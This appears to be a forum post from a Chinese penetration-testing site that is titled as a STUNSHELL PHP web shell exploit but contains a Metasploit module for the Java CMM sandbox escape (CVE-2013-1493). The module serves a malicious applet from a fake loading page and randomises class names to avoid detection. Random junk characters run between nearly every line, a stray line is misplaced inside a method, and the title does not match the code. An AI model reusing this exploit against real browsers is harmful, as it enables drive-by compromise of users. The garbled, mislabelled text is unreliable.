中国网络渗透测试联盟
标题:
STUNSHELL PHP Web Shell远程执行代码
[打印本页]
作者:
admin
时间:
2013-4-4 17:31
标题:
STUNSHELL PHP Web Shell远程执行代码
##
+ R& o5 p- L; ?/ A
7 e1 R: g$ N6 U& z% i. g; R
# This file is part of the Metasploit Framework and may be subject to
% m& t- X2 b! P) ]& F6 z
# redistribution and commercial restrictions. Please see the Metasploit
5 {6 Z9 x2 M2 u$ R7 p- G5 l
# web site for more information on licensing and terms of use.
" B! \6 k) `5 ` S5 n. [# d; f* Y
#
http://metasploit.com/
; j4 j' S8 A, W' V
##
5 O1 g, Y# x+ F# b
require ‘msf/core’
! r$ c) \5 p9 w1 Y
require ‘rex’
% ]$ c; B* P/ h
class Metasploit3 < Msf::Exploit::Remote
$ N: M2 V; c. C- |. Z
Rank = NormalRanking
% E$ P8 p# w( V! H G4 `0 v
include Msf::Exploit::Remote::HttpServer::HTML
6 |: r2 x j0 z) c9 \& m+ r
include Msf::Exploit::EXE
& T: ], z- c) D5 Z7 b
include Msf::Exploit::Remote::BrowserAutopwn
3 R% {, U. {' M
autopwn_info({ :javascript => false })
1 L' e8 f7 u* k: ~
def initialize( info = {} )
; K0 a( {; {6 E! D( ~1 r x* V
super( update_info( info,
. D& j* t$ s" N0 x/ d7 `
‘Name’ => ‘Java CMM Remote Code Execution’,
1 d" |- F. o% |
‘Description’ => %q{
: O& w% F8 ^; ]. ]' O% T
This module abuses the Color Management classes from a Java Applet to run
% O( M$ U, l1 j" Z) ?" r
arbitrary Java code outside of the sandbox as exploited in the wild in February
; E- f( |8 O* C. b# L& C
and March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41
# B- t C8 j- u* H
and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1
, P7 D9 U% }) q7 F2 R6 T9 m0 n
systems. This exploit doesn’t bypass click-to-play, so the user must accept the java
/ k& E) g7 C8 j5 h9 N& g
warning in order to run the malicious applet.
! P8 U$ X& c0 a4 P( D4 P4 F: l
},
: s& x$ K* |4 u0 Z' h$ U
‘License’ => MSF_LICENSE,
& G& r7 z# t1 A/ ]/ F
‘Author’ =>
) j2 z+ C( O; n( Y+ P0 [# C
'Unknown', # Vulnerability discovery and Exploit
. g; V1 P- z9 i. o0 y
'juan vazquez' # Metasploit module (just ported the published exploit)
; t0 _# z# O7 ?* I' Q
],
5 o. I5 |+ m! e9 a
‘References’ =>
2 E( T' g, n/ c* s' h6 m8 z
[
- U- r4 A. q0 j. @6 a! W9 l5 x6 T+ x
[ 'CVE', '2013-1493' ],
9 F- ]7 s/ G3 @$ h3 n
[ 'OSVDB', '90737' ],
* w4 e- Y% w$ j5 t, r& k$ G5 S& H
[ 'BID', '58238' ],
/ w$ |( L9 z9 ?8 D+ F# `/ Y0 U7 v
[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],
0 Y( g1 y, R" ^
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],
0 d, Z( d, V8 q; u" W6 W
[ 'URL', 'http://pastie.org/pastes/6581034' ]
2 L4 `2 y6 m2 a" ]/ s6 c0 M2 Q
],
" N& x. a1 _1 l W' k
‘Platform’ => [ 'win', 'java' ],
& H* k g, X+ V# g; B+ T9 z8 r
‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },
% R8 e) a* Y; _( D/ D0 b0 b
‘Targets’ =>
- S4 N+ H2 G, E
[
* `# E+ P+ u% u7 `
[ 'Generic (Java Payload)',
0 W! \, Z+ F1 F& j! U, k% y/ B8 s
{
8 x* |! i4 k/ l) u8 K
'Platform' => 'java',
1 H0 w" k- B: ~0 E
'Arch' => ARCH_JAVA
8 K C; L! p+ }8 e% _
}
* A" {, ^8 I* j3 P$ Y0 ?
],
. k1 I; c- x# s2 Y. w
[ 'Windows x86 (Native Payload)',
8 ^9 m4 ?) {5 z
{
0 _: y! }6 m( K, v$ z( Z% z) X
'Platform' => 'win',
/ r6 u' S a* P) `, q
'Arch' => ARCH_X86
) n. b2 |, p- c5 P, s
}
& r* f9 |: I; k X/ M$ {' r( g. ^
]
( ]2 X7 ^4 Q+ ]3 X0 s6 x. ?
],
8 d: G8 ]' o0 Q5 j% t1 X( q& d
‘‘DisclosureDate’ => ‘Mar 01 2013′
! c! J9 n8 J5 ~* l- |( Z# u
))
6 K. Z! E+ r: K) N# O, B& y/ \
end
& e- j" l" j& j- K2 n. j
def setup
5 o0 h0 Z4 v) l) y2 p
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)
1 ]- O: g( i! N
@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
' u& H& B3 k% a1 q# H
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)
, Q1 @$ B- Y6 w6 F9 Q/ k
@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
3 D* x* _% {: h
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)
) g: V* E5 m' F. V9 d* ^' Z G" P% |
@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
H- I0 v% V: g' Y1 [5 a
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)
4 A( [2 z# d% e" \/ h
@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
9 Q3 e! S" W* ?2 Y$ S
@init_class_name = rand_text_alpha(“Init”.length)
, L0 f! H. }6 {7 [1 o1 D
@init_class.gsub!(“Init”, @init_class_name)
( V, V* U+ h0 H1 B
super
& g7 b: h1 ?/ e$ z; X' S
end
+ c6 S9 |. s2 L# U# E
def on_request_uri(cli, request)
2 D6 k$ O- a+ q% D
print_status(“handling request for #{request.uri}”)
; g4 T6 X R3 j u+ M% R! X
case request.uri
1 C- P" P! w D1 h' j1 u
when /\.jar$/i
8 i4 E H5 V. \; r. A3 p8 n
jar = payload.encoded_jar
2 Z: V- l$ n0 m M6 u
jar.add_file(“#{@init_class_name}.class”, @init_class)
( P( w+ i* L$ v$ r* n2 z6 S2 i( k
jar.add_file(“Leak.class”, @leak_class)
! Y( t+ L; `+ E% ]
jar.add_file(“MyBufferedImage.class”, @buffered_image_class)
. S; X h7 _! u
jar.add_file(“MyColorSpace.class”, @color_space_class)
7 J% W+ C$ q5 X# r& D8 M
DefaultTarget’ => 1,
$ b' [! Q! f& T
metasploit_str = rand_text_alpha(“metasploit”.length)
- h6 M& {" i5 o# r) `# ^1 j
payload_str = rand_text_alpha(“payload”.length)
9 `- m3 M1 Z, e! d+ |0 v( C7 c% e' ~
jar.entries.each { |entry|
; C% e7 D2 x* T3 A4 u
entry.name.gsub!(“metasploit”, metasploit_str)
. ?& s7 D6 z( q1 v2 K, ]
entry.name.gsub!(“Payload”, payload_str)
5 s: v- H" O* m# M' I4 L9 b# \
entry.data = entry.data.gsub(“metasploit”, metasploit_str)
; ^% P0 U5 ?* Y
entry.data = entry.data.gsub(“Payload”, payload_str)
4 W% Q: `8 G X$ a
}
! h8 G( s) H* l8 H; P& Y j
jar.build_manifest
& ^# `% `' m9 R1 s0 {# ]" J# [- ]
send_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })
( l# w @# ]# c$ k/ U' B0 x* ~) l) r
when /\/$/
0 e- ?4 r* @- u2 h! h
payload = regenerate_payload(cli)
' U& B; e+ Y" J) i
if not payload
) I8 Z8 Z- M" A0 m
print_error(“Failed to generate the payload.”)
9 `) J. V8 q7 N5 `% g1 g
send_not_found(cli)
5 j2 S: b+ L! ~. r$ s8 V1 p6 `
return
/ w/ Y# r5 a6 v/ I* y3 a
end
; W# Q& m1 d7 k( {
send_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })
7 \* k9 @: k) [; B9 y; \
else
1 _2 c7 s. W- w0 W" X. Z
send_redirect(cli, get_resource() + ‘/’, ”)
7 d' a! a$ p3 `' U
end
' t/ \+ G( D& L, B
end
3 X0 ?0 Q) m8 B; s( {
def generate_html
- g: E2 m4 `7 j G. |% y
html = %Q|<html><head><title>Loading, Please Wait…</title></head>|
) Y. Z3 ^& L/ t: l( I$ F/ R4 e
html += %Q|<body><center><p>Loading, Please Wait…</p></center>|
9 T; ?- m Y3 t5 d2 V
html += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|
: |; E4 i5 t; _4 F+ x
html += %Q|</applet></body></html>|
4 h/ h8 p0 n% k. D/ J7 U) _
return html
* l: k! _( J$ W: Y) ]
end
0 ?( Q* K+ o# f4 n6 {3 p8 o& B. t! c
end
% Y8 d* t, G4 U; O6 I* K
end
4 c8 v k6 Y v7 p# a
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2